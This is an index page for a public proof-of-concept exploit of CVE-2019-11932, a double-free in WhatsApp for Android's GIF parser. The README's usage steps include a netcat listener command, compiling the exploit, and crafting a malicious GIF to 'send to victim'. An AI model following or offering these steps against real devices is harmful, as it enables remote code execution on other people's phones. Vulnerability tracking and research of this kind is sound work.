CVE-2019-11932 PoC — Facebook WhatsApp 资源管理错误漏洞

Source

https://github.com/tucommenceapousser/CVE-2019-11932

Associated Vulnerability

Title:Facebook WhatsApp 资源管理错误漏洞 (CVE-2019-11932)
Description:A double free vulnerability in the DDGifSlurp function in decoding.c in the android-gif-drawable library before version 1.2.18, as used in WhatsApp for Android before version 2.19.244 and many other Android applications, allows remote attackers to execute arbitrary code or cause a denial of service when the library is used to parse a specially crafted GIF image.

Description

Double-Free BUG in WhatsApp exploit poc.

Readme

# CVE-2019-11932
Double-Free BUG in WhatsApp exploit poc.
## Usage
```bash
bash create.sh
```
## clone on replit and run
[![Run on Replit](https://replit.com/badge/github/tucommenceapousser/CVE-2019-11932)](https://replit.com/github/tucommenceapousser/CVE-2019-11932)

## Manually
```bash
nc -lvp 5555 or whatever port.
```
and then compile.
```
gcc -o exp egif_lib.c exploit.c
```
then run 
```bash
./exp
```
 and save the content to .gif

and send to victim.

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!